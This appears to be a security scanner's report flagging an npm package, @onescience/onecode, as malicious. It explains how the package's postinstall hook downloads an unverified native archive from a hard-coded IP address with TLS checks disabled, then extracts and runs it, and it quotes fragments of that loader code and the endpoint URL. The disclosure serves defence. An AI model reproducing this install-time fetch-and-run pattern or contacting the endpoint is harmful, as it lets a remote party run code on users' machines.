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@onescience/onecode@1.14.50-202609111612: Malicious npm security | LPM Firewall

registry / @onescience/onecode / 1.14.50-202609111612

@onescience/onecode@1.14.50-202609111612

OneScience AI coding agent for the terminal.

AI Security Review

scanned 27d ago · by lpm-firewall-ai

Installing the package automatically retrieves an opaque native archive from a fixed IP address without certificate validation. It extracts and enables an executable payload and links downloaded assets into the package root.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation runs postinstall.

Impact

A network attacker or the remote host can supply code that will be installed and later executed as the user.

Mechanism

Unverified remote native payload download, extraction, and executable installation.

Attack narrative

The package declares a postinstall hook that invokes its bootstrapper. On non-Windows systems, the bootstrapper fetches a versioned archive from a hard-coded IP endpoint with TLS verification disabled, extracts it using tar, moves its contents into node_modules, and marks the resulting binary executable. The launcher subsequently starts that binary. The archive is not integrity checked, so remote control of the endpoint or its connection controls code installed on the consumer machine.

AI rationale

This is an automatic install-time remote code delivery chain with disabled TLS validation and no integrity verification. The downloaded native payload is opaque to the package review and is later executed by the package launcher.

Evidence

package.jsonpostinstall.mjsplatform-bootstrap.mjsnode_modules/onecode-linux-x64bin/.onecode.opencode.oneskills

Network endpoints

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10scripts.postinstall = node ./postinstall.mjs Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution. L10: import os from "os" L11: import https from "https" L12: import { fileURLToPath } from "url" ... L15: const product = "onecode" L16: const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz" L17: ... L78: const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product L79: const binaryPath = path.join(rootDir, "node_modules", packageName, "bin", binaryName) L80: if (!fs.existsSync(binaryPath)) return null L81: return { binaryPath, binaryName, packageName } L82: } ... L99: return new Promise((resolve, reject) => {

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

10"scripts": { "postinstall": "node ./postinstall.mjs" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the bootstrapper during installation.

package.jsonView on unpkg · L10

•scripts.postinstall = node ./postinstall.mjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/onecodeView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/onecodeView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 96df80412fc42a9f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/onecodeView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

Lines 1-13json

1{

2 "name": "@onescience/onecode",

3 "version": "1.14.50-202609111612",

4 "private": false,

5 "license": "MIT",

6 "description": "OneScience AI coding agent for the terminal.",

7 "bin": {

8 "onecode": "./bin/onecode"

9 },

10 "scripts": {

11 "postinstall": "node ./postinstall.mjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 }

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the bootstrapper during installation.

package.jsonView on unpkg · L10

13}

bin/onecodeView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/onecodeView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 96df80412fc42a9f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/onecodeView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202609111047 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202609111047 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg